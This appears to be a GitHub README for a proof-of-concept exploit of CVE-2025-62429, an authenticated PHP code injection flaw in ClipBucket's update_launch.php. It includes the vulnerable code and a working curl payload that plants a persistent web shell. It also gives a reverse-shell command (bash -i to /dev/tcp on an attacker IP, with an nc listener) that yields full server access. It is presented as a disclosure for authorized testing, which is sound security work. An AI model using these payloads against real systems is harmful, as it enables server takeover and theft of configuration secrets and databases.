drkim-dev/cve-2025-62429Proof-of-concept for authenticated remote code execution in ClipBucket via PHP code injection in update_launch.php. Includes web shell deployment and reverse shell stages for authorized penetration testing.
Proof-of-Concept for RCE via PHP Code Injection in update_launch.php
Disclosure: Originally reported by me via GHSA-3h9c-7j8r-xc3v
⚠️ Authorized pentesting/research use only.
| Field | Value |
|---|
| CVE ID | CVE-2025-62429 |
| Severity | 🔴 High |
| CVSS Score | 7.2 |
| CVSS Vector | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: OS Command Injection, CWE-94: Code Injection |
| Affected Product | ClibBucket <= 5.5.3 - #79 |
| Patched Version | 5.5.3 - #80 |
| Advisory | GHSA-3h9c-7j8r-xc3v |
An Authenticated Remote Code Execution (RCE) vulnerability exists in ClipBucket v5.5.3-61. The vulnerability is classified as CWE-94: Improper Control of Generation of Code ('Code Injection'). The application fails to properly sanitize user-controlled input used to generate executable PHP code in update_launch.php. An authenticated administrator can exploit this to achieve full command execution on the underlying server, escalating privileges from a web administrator to the system user (e.g., containeruser).
The vulnerability is located in upload/admin_area/actions/update_launch.php. This script facilitates system updates by dynamically generating a temporary PHP background script.
Vulnerable Code Snippet: upload/admin_area/actions/update_launch.php (Lines 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Exploit Mechanism:
Because the type parameter is concatenated into the $data string without escaping or sanitization, an attacker can use a single quote (') to break out of the string literal context. They can then inject arbitrary PHP functions (such as system() or file_put_contents()) and comment out the rest of the original code using //. This results in the execution of attacker-supplied code with the privileges of the PHP-CLI process.
PHPSESSID session cookie.
We first demonstrate the vulnerability by deploying a persistent web shell in the document root.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
After confirming RCE, an interactive shell is established for post-exploitation.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
The attacker machine receives a connection, granting full interactive shell access as the containeruser.
Successful exploitation allows an attacker to execute arbitrary system commands. This results in:
config.inc.php) and the entire database.This issue is related to the previously disclosed vulnerability:
Upon further analysis, the vulnerability was found to persist in ClipBucket v5.5.3 due to an incomplete fix.
While the original advisory addressed part of the issue, the PHP code injection vector via the type parameter in update_launch.php remained exploitable.
This advisory provides additional technical details, verification on the latest version, and a complete end-to-end exploitation scenario.